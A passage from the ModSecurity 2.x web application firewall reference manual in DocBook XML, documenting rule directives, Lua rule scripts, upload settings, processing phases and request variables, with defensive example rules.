<programlisting format="linespecific">SecRule &ARGS "!@rx ^0$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Actions in rules</title>
|
|
|
|
<para>The third parameter, <literal moreinfo="none">ACTIONS</literal>,
|
|
can be omitted only because there is a helper feature that specifies
|
|
the default action list. If the parameter isn't omitted the actions
|
|
specified in the parameter will be merged with the default action list
|
|
to create the actual list of actions that will be processed on a rule
|
|
match.</para>
|
|
</section>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleInheritance</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures whether the current
|
|
context will inherit rules from the parent context (configuration
|
|
options are inherited in most cases - you should look up the
|
|
documentation for every directive to determine if it is inherited or
|
|
not).</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRuleInheritance On|Off</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRuleInheritance Off</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Resource-specific
|
|
contexts (e.g.<literal moreinfo="none"> Location</literal>, <literal
|
|
moreinfo="none">Directory</literal>, etc) cannot override
|
|
<emphasis>phase1</emphasis> rules configured in the main server or in
|
|
the virtual server. This is because phase 1 is run early in the request
|
|
processing process, before Apache maps request to resource. Virtual host
|
|
context can override phase 1 rules configured in the main server.</para>
|
|
|
|
<para>Example: The following example shows where ModSecurity may be
|
|
enabled in the main Apache configuration scope, however you might want
|
|
to configure your VirtualHosts differently. In the first example, the
|
|
first VirtualHost is not inheriting the ModSecurity main config
|
|
directives and in the second one it is.</para>
|
|
|
|
<programlisting format="linespecific">SecRuleEnine On
|
|
SecDefaultAction log,pass,phase:2
|
|
...
|
|
|
|
<VirtualHost *:80>
|
|
ServerName app1.com
|
|
ServerAlias www.app1.com<emphasis>
|
|
SecRuleInheritance Off</emphasis>
|
|
SecDefaultAction log,deny,phase:1,redirect:http://www.site2.com
|
|
...
|
|
</VirtualHost>
|
|
|
|
<VirtualHost *:80>
|
|
ServerName app2.com
|
|
ServerAlias www.app2.com
|
|
<emphasis>SecRuleInheritance On</emphasis> SecRule ARGS "attack"
|
|
...
|
|
</VirtualHost></programlisting>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - inherit rules from the
|
|
parent context.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not inherit rules
|
|
from the parent context.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleEngine</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the rules
|
|
engine.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRuleEngine On|Off|DetectionOnly</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRuleEngine On</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive can also
|
|
be controlled by the ctl action (ctl:ruleEngine=off) for per rule
|
|
processing.</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - process rules.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not process
|
|
rules.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">DetectionOnly</literal> - process
|
|
rules but never intercept transactions, even when rules are
|
|
configured to do so.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleRemoveById</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Removes matching rules from the
|
|
parent contexts.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRuleRemoveById RULEID</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRuleRemoveByID 1 2 "9000-9010"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive supports
|
|
multiple parameters, where each parameter can either be a rule ID, or a
|
|
range. Parameters that contain spaces must be delimited using double
|
|
quotes.</para>
|
|
|
|
<programlisting format="linespecific">SecRuleRemoveById 1 2 5 10-20 "400-556" 673</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleRemoveByMsg</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Removes matching rules from the
|
|
parent contexts.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRuleRemoveByMsg REGEX</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRuleRemoveByMsg "FAIL"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive supports
|
|
multiple parameters. Each parameter is a regular expression that will be
|
|
applied to the message (specified using the <literal
|
|
moreinfo="none">msg</literal> action).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleScript</literal> (Experimental)</title>
|
|
|
|
<para><emphasis>Description:</emphasis> This directive creates a special
|
|
rule that executes a Lua script to decide whether to match or not. The
|
|
main difference from <literal>SecRule</literal> is that there are no
|
|
targets nor operators. The script can fetch any variable from the
|
|
ModSecurity context and use any (Lua) operator to test them. The second
|
|
optional parameter is the list of actions whose meaning is identical to
|
|
that of <literal>SecRule</literal>.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal>SecRuleScript
|
|
/path/to/script.lua [ACTIONS]</literal></para>
|
|
|
|
<para>The first parameter, path to the script, can be absolute or
|
|
relative to the configuration file in which
|
|
<literal>SecRuleScript</literal> resides. This allows you to place your
|
|
script in the same folder as the configuration files using them.</para>
|
|
|
|
<note>
|
|
<para>All Lua scripts are compiled at configuration time and cached in
|
|
memory. To reload scripts you must reload the entire ModSecurity
|
|
configuration by restarting Apache.</para>
|
|
</note>
|
|
|
|
<para>Example script:</para>
|
|
|
|
<programlisting>-- Your script must define the <emphasis>main</emphasis> entry
|
|
-- point, as below.
|
|
function main()
|
|
-- Log something at level 1. Normally you shouldn't be
|
|
-- logging anything, especially not at level 1, but this is
|
|
-- just to show you can. Useful for debugging.
|
|
m.log(1, "Hello world!");
|
|
|
|
-- Retrieve one variable.
|
|
local var1 = m.getvar("REMOTE_ADDR");
|
|
|
|
-- Retrieve one variable, applying one transformation function.
|
|
-- The second parameter is a string.
|
|
local var2 = m.getvar("REQUEST_URI", "normalisePath");
|
|
|
|
-- Retrieve one variable, applying several transformation functions.
|
|
-- The second parameter is now a list. You should note that m.getvar()
|
|
-- requires the use of comma to separate collection names from
|
|
-- variable names. This is because only one variable is returned.
|
|
local var3 = m.getvar("ARGS.p", { "lowercase", "compressWhitespace" } );
|
|
|
|
-- If you want this rule to match return a string
|
|
-- containing the error message. The message <emphasis>must</emphasis> contain the name
|
|
-- of the variable where the problem is located.
|
|
-- return "Variable ARGS:p looks suspicious!"
|
|
|
|
-- Otherwise, simply return nil.
|
|
return nil;
|
|
end</programlisting>
|
|
|
|
<para>In this first example we were only retrieving one variable at the
|
|
time. In this case the name of the variable is known to you. In many
|
|
cases, however, you will want to examine variables whose names you won't
|
|
know in advance, for example script parameters.</para>
|
|
|
|
<para>Example showing use of <literal>m.getvars()</literal> to retrieve
|
|
many variables at once:</para>
|
|
|
|
<programlisting>function main()
|
|
-- Retrieve script parameters.
|
|
local d = m.getvars("ARGS", { "lowercase", "htmlEntityDecode" } );
|
|
|
|
-- Loop through the paramters.
|
|
for i = 1, #d do
|
|
-- Examine parameter value.
|
|
if (string.find(d[i].value, "<script")) then
|
|
-- Always specify the name of the variable where the
|
|
-- problem is located in the error message.
|
|
return ("Suspected XSS in variable " .. d[i].name .. ".");
|
|
end
|
|
end
|
|
|
|
-- Nothing wrong found.
|
|
return nil;
|
|
end</programlisting>
|
|
|
|
<note>
|
|
<para>Go to <ulink url="http://www.lua.org">http://www.lua.org</ulink>
|
|
to find more about the Lua programming language. The reference manual
|
|
too is available online, at <ulink
|
|
url="http://www.lua.org/manual/5.1/">http://www.lua.org/manual/5.1/</ulink>.</para>
|
|
</note>
|
|
|
|
<note>
|
|
<para>Lua support is marked as <emphasis>experimental</emphasis>
|
|
because the way the scripts are written and function names may still
|
|
change while we are working for the best implementation style.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRuleUpdateActionById</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Updates the action list of the
|
|
specified rule.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRuleRemoveById RULEID ACTIONLIST</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRuleUpdateActionById 12345
|
|
deny,status:403</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive merges the
|
|
specified action list with the rule's action list. There are two
|
|
limitations. The rule ID cannot be changed, nor can the phase. Further
|
|
note that actions that may be specified multiple times are appended to
|
|
the original.</para>
|
|
|
|
<programlisting format="linespecific">SecAction \
|
|
"t:lowercase,phase:2,id:12345,pass,msg:'The Message',log,auditlog"
|
|
SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new message'</programlisting>
|
|
|
|
<para>The example above will cause the rule to be executed as if it was
|
|
specified as follows:</para>
|
|
|
|
<programlisting format="linespecific">SecAction \
|
|
"t:lowercase,phase:2,id:12345,log,auditlog,t:compressWhitespace,deny,status:403,msg:'A new message'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecServerSignature</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Instructs ModSecurity to change
|
|
the data presented in the "Server:" response header token.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecServerSignature "WEB SERVER
|
|
SOFTWARE"</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecServerSignature
|
|
"Netscape-Enterprise/6.0"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Main</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> In order for this
|
|
directive to work, you must set the Apache ServerTokens directive to
|
|
Full. ModSecurity will overwrite the server signature data held in this
|
|
memory space with the data set in this directive. If ServerTokens is not
|
|
set to Full, then the memory space is most likely not large enough to
|
|
hold the new data we are looking to insert.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecTmpDir</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the directory where
|
|
temporary files will be created.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecTmpDir
|
|
/path/to/dir</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecTmpDir /tmp</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Needs to be writable by
|
|
the Apache user process. This is the directory location where Apache
|
|
will swap data to disk if it runs out of memory (more data than what was
|
|
specified in the SecRequestBodyInMemoryLimit directive) during
|
|
inspection.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecUploadDir</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the directory where
|
|
intercepted files will be stored.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecUploadDir
|
|
/path/to/dir</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecUploadDir /tmp</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directory must be on
|
|
the same filesystem as the temporary directory defined with <literal
|
|
moreinfo="none">SecTmpDir</literal>. This directive is used with
|
|
<literal>SecUploadKeepFiles</literal>.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecUploadFileMode</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the mode
|
|
(permissions) of any uploaded files using an octal number.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecUploadFileMode octal_mode|"default"</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecUploadFileMode 0640</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> The mode is an octal
|
|
number (as used in chmod). The default mode is for only the account
|
|
writing the file to have read/write access (0600). Use this directive
|
|
with caution to avoid exposing potentially sensitive data to
|
|
unauthorized users. Using the value "default" will revert back to the
|
|
default setting.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecUploadKeepFiles</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures whether or not the
|
|
intercepted files will be kept after transaction is processed.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecUploadKeepFiles On|Off|RelevantOnly</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecUploadKeepFiles On</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive requires
|
|
the storage directory to be defined (using <literal
|
|
moreinfo="none">SecUploadDir</literal>).</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - Keep uploaded
|
|
files.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - Do not keep uploaded
|
|
files.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">RelevantOnly</literal> - This will
|
|
keep only those files that belong to requests that are deemed
|
|
relevant.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecWebAppId</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Creates a partition on the
|
|
server that belongs to one web application.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecWebAppId
|
|
"NAME"</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecWebAppId "WebApp1"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Partitions are used to
|
|
avoid collisions between session IDs and user IDs. This directive must
|
|
be used if there are multiple applications deployed on the same server.
|
|
If it isn't used, a collision between session IDs might occur. The
|
|
default value is<literal moreinfo="none"> default</literal>.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific"><VirtualHost *:80>
|
|
ServerName app1.com
|
|
ServerAlias www.app1.com
|
|
<emphasis>SecWebAppId "App1"</emphasis>
|
|
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
|
|
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
|
|
...
|
|
</VirtualHost>
|
|
|
|
<VirtualHost *:80>
|
|
ServerName app2.com
|
|
ServerAlias www.app2.com<emphasis>
|
|
SecWebAppId "App2"</emphasis>
|
|
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
|
|
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
|
|
...
|
|
</VirtualHost></programlisting>
|
|
|
|
<para>In the two examples configurations shown, SecWebAppId is being
|
|
used in conjunction with the Apache VirtualHost directives. What this
|
|
achieves is to create more unique collection names when being hosted on
|
|
one server. Normally, when setsid is used, ModSecurity will create a
|
|
collection with the name "SESSION" and it will hold the value specified.
|
|
With using SecWebAppId as shown in the examples, however, the name of
|
|
the collection would become "App1_SESSION" and "App2_SESSION".</para>
|
|
|
|
<para>SecWebAppId is relevant in two cases:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>You are logging transactions/alerts to the ModSecurity Console
|
|
and you want to use the web application ID to search only the
|
|
transactions belonging to that application.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>You are using the data persistence facility (collections
|
|
SESSION and USER) and you need to avoid collisions between sessions
|
|
and users belonging to different applications.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="04-processing-phases">
|
|
<title>Processing Phases</title>
|
|
|
|
<para>ModSecurity 2.x allows rules to be placed in one of the following
|
|
five phases:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>Request headers (REQUEST_HEADERS)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Request body (REQUEST_BODY)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Response headers (RESPONSE_HEADERS)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Response body (RESPONSE_BODY)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Logging (LOGGING)</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para><emphasis> <emphasis>Below is a diagram of the standard Apache
|
|
Request Cycle. In the diagram, the 5 ModSecurity processing phases are
|
|
shown.</emphasis> </emphasis></para>
|
|
|
|
<para><graphic fileref="apache_request_cycle-modsecurity.jpg" scale="150"
|
|
scalefit="" /></para>
|
|
|
|
<para>In order to select the phase a rule executes during, use the phase
|
|
action either directly in the rule or in using the
|
|
<literal>SecDefaultAction</literal> directive:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction "log,pass,<emphasis>phase:2</emphasis>"
|
|
SecRule REQUEST_HEADERS:Host "!^$" "deny,<emphasis>phase:1</emphasis>"</programlisting>
|
|
|
|
<note>
|
|
<para>Keep in mind that rules are executed according to phases, so even
|
|
if two rules are adjacent in a configuration file, but are set to
|
|
execute in different phases, they would not happen one after the other.
|
|
The order of rules in the configuration file is important only within
|
|
the rules of each phase. This is especially important when using the
|
|
<literal>skip</literal> and <literal>skipAfter</literal> actions.</para>
|
|
</note>
|
|
|
|
<note>
|
|
<para>The <literal>LOGGING</literal> phase is special. It is executed at
|
|
the end of each transaction no matter what happened in the previous
|
|
phases. This means it will be processed even if the request was
|
|
intercepted of the <literal>allow</literal> action was used to pass the
|
|
transaction through.</para>
|
|
</note>
|
|
|
|
<section>
|
|
<title>Phase Request Headers</title>
|
|
|
|
<para>Rules in this phase are processed immediately after Apache
|
|
completes reading the request headers (post-read-request phase). At this
|
|
point the request body has not been read yet, meaning not all request
|
|
arguments are available. Rules should be placed in this phase if you
|
|
need to have them run early (before Apache does something with the
|
|
request), to do something before the request body has been read,
|
|
determine whether or not the request body should be buffered, or decide
|
|
how you want the request body to be processed (e.g. whether to parse it
|
|
as XML or not).</para>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Rules in this phase can not leverage Apache scope directives
|
|
(Directory, Location, LocationMatch, etc...) as the post-read-request
|
|
hook does not have this information yet. The exception here is the
|
|
VirtualHost directive. If you want to use ModSecurity rules inside
|
|
Apache locations, then they should run in Phase 2. Refer to the Apache
|
|
Request Cycle/ModSecurity Processing Phases diagram.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Phase Request Body</title>
|
|
|
|
<para>This is the general-purpose input analysis phase. Most of the
|
|
application-oriented rules should go here. In this phase you are
|
|
guaranteed to have received the request argument (provided the request
|
|
body has been read). ModSecurity supports three encoding types for the
|
|
request body phase:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal>application/x-www-form-urlencoded</literal> - used to
|
|
transfer form data</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>multipart/form-data</literal> - used for file
|
|
transfers</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal>text/xml</literal> - used for passing XML data</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>Other encodings are not used by most web applications.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Phase Response Headers</title>
|
|
|
|
<para>This phase takes place just before response headers are sent back
|
|
to the client. Run here if you want to observe the response before that
|
|
happens, and if you want to use the response headers to determine if you
|
|
want to buffer the response body. Note that some response status codes
|
|
(such as 404) are handled earlier in the request cycle by Apache and my
|
|
not be able to be triggered as expected. Additionally, there are some
|
|
response headers that are added by Apache at a later hook (such as Date,
|
|
Server and Connection) that we would not be able to trigger on or
|
|
sanitize. This should work appropriately in a proxy setup or within
|
|
phase:5 (logging).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Phase Response Body</title>
|
|
|
|
<para>This is the general-purpose output analysis phase. At this point
|
|
you can run rules against the response body (provided it was buffered,
|
|
of course). This is the phase where you would want to inspect the
|
|
outbound HTML for information disclosure, error messages or failed
|
|
authentication text.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Phase Logging</title>
|
|
|
|
<para>This phase is run just before logging takes place. The rules
|
|
placed into this phase can only affect how the logging is performed.
|
|
This phase can be used to inspect the error messages logged by Apache.
|
|
You can not deny/block connections in this phase as it is too late. This
|
|
phase also allows for inspection of other response headers that weren't
|
|
available during phase:3 or phase:4. Note that you must be careful not
|
|
to inherit a disruptive action into a rule in this phase as this is a
|
|
configuration error in ModSecurity 2.5.0 and later versions.</para>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="05-variables">
|
|
<title>Variables</title>
|
|
|
|
<para>The following variables are supported in ModSecurity 2.x:</para>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS</literal></title>
|
|
|
|
<para><literal>ARGS</literal> is a collection and can be used on its own
|
|
(means all arguments including the POST Payload), with a static
|
|
parameter (matches arguments with that name), or with a regular
|
|
expression (matches all arguments with name that matches the regular
|
|
expression). To look at only the query string or body arguments, see the
|
|
<literal>ARGS_GET</literal> and <literal>ARGS_POST</literal>
|
|
collections.</para>
|
|
|
|
<para>Some variables are actually collections, which are expanded into
|
|
more variables at runtime. The following example will examine all
|
|
request arguments:<programlisting format="linespecific">SecRule ARGS dirty</programlisting>
|
|
Sometimes, however, you will want to look only at parts of a collection.
|
|
This can be achieved with the help of the <emphasis>selection
|
|
operator</emphasis>(colon). The following example will only look at the
|
|
arguments named<literal moreinfo="none"> p</literal> (do note that, in
|
|
general, requests can contain multiple arguments with the same name):
|
|
<programlisting format="linespecific">SecRule ARGS:p dirty</programlisting>
|
|
It is also possible to specify exclusions. The following will examine
|
|
all request arguments for the word<emphasis> dirty</emphasis>, except
|
|
the ones named <literal moreinfo="none">z</literal> (again, there can be
|
|
zero or more arguments named<literal moreinfo="none"> z</literal>):
|
|
<programlisting format="linespecific">SecRule ARGS|!ARGS:z dirty</programlisting>
|
|
There is a special operator that allows you to count how many variables
|
|
there are in a collection. The following rule will trigger if there is
|
|
more than zero arguments in the request (ignore the second parameter for
|
|
the time being): <programlisting format="linespecific">SecRule &ARGS !^0$</programlisting>
|
|
And sometimes you need to look at an array of parameters, each with a
|
|
slightly different name. In this case you can specify a regular
|
|
expression in the selection operator itself. The following rule will
|
|
look into all arguments whose names begin with <literal
|
|
moreinfo="none">id_</literal>: <programlisting format="linespecific">SecRule ARGS:/^id_/ dirty</programlisting></para>
|
|
|
|
<note>
|
|
<para>Using <literal>ARGS:p</literal> will not result in any
|
|
invocations against the operator if argument p does not exist.</para>
|
|
|
|
<para>In ModSecurity 1.X, the <literal>ARGS</literal> variable stood
|
|
for <literal>QUERY_STRING</literal> + <literal>POST_PAYLOAD</literal>,
|
|
whereas now it expands to individual variables.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_COMBINED_SIZE</literal></title>
|
|
|
|
<para>This variable allows you to set more targeted evaluations on the
|
|
total size of the Arguments as compared with normal Apache LimitRequest
|
|
directives. For example, you could create a rule to ensure that the
|
|
total size of the argument data is below a certain threshold (to help
|
|
prevent buffer overflow issues). Example: Block request if the size of
|
|
the arguments is above 25 characters.</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" "chain,log,deny,phase:2"
|
|
SecRule <emphasis>ARGS_COMBINED_SIZE</emphasis> "@gt 25"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_NAMES</literal></title>
|
|
|
|
<para>Is a collection of the argument names. You can search for specific
|
|
argument names that you want to block. In a positive policy scenario,
|
|
you can also whitelist (using an inverted rule with the ! character)
|
|
only authorized argument names. Example: This example rule will only
|
|
allow 2 argument names - p and a. If any other argument names are
|
|
injected, it will be blocked.</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_FILENAME "/index.php" "chain,log,deny,status:403,phase:2"
|
|
SecRule<emphasis> ARGS_NAMES</emphasis> "!^(p|a)$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_GET</literal></title>
|
|
|
|
<para><literal>ARGS_GET</literal> is similar to <literal>ARGS</literal>,
|
|
but only contains arguments from the query string.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_GET_NAMES</literal></title>
|
|
|
|
<para><literal>ARGS_GET_NAMES</literal> is similar to
|
|
<literal>ARGS_NAMES</literal>, but only contains argument names from the
|
|
query string.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_POST</literal></title>
|
|
|
|
<para><literal>ARGS_POST</literal> is similar to
|
|
<literal>ARGS</literal>, but only contains arguments from the POST
|
|
body.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ARGS_POST_NAMES</literal></title>
|
|
|
|
<para><literal>ARGS_POST_NAMES</literal> is similar to
|
|
<literal>ARGS_NAMES</literal>, but only contains argument names from the
|
|
POST body.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">AUTH_TYPE</literal></title>
|
|
|
|
<para>This variable holds the authentication method used to validate a
|
|
user. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>AUTH_TYPE</emphasis> "basic" log,deny,status:403,phase:1,t:lowercase</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This data will not be available in a proxy-mode deployment as the
|
|
authentication is not local. In a proxy-mode deployment, you would need
|
|
to inspect the <literal>REQUEST_HEADERS:Authorization</literal>
|
|
header.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">ENV</literal></title>
|
|
|
|
<para>Collection, requires a single parameter (after a colon character).
|
|
The ENV variable is set with setenv and does not give access to the CGI
|
|
environment variables. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_FILENAME "printenv" pass,<emphasis>setenv:tag=suspicious</emphasis>
|
|
SecRule <emphasis>ENV:tag</emphasis> "suspicious"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">FILES</literal></title>
|
|
|
|
<para>Collection. Contains a collection of original file names (as they
|
|
were called on the remote user's file system). Note: only available if
|
|
files were extracted from the request body. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> FILES</emphasis> "\.conf$" log,deny,status:403,phase:2</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">FILES_COMBINED_SIZE</literal></title>
|
|
|
|
<para>Single value. Total size of the uploaded files. Note: only
|
|
available if files were extracted from the request body. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>FILES_COMBINED_SIZE</emphasis> "@gt 1000" log,deny,status:403,phase:2</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">FILES_NAMES</literal></title>
|
|
|
|
<para>Collection w/o parameter. Contains a list of form fields that were
|
|
used for file upload. Note: only available if files were extracted from
|
|
the request body. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> FILES_NAMES</emphasis> "^upfile$" log,deny,status:403,phase:2</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">FILES_SIZES</literal></title>
|
|
|
|
<para>Collection. Contains a list of file sizes. Useful for implementing
|
|
a size limitation on individual uploaded files. Note: only available if
|
|
files were extracted from the request body. Example:</para>
|
|
|
|
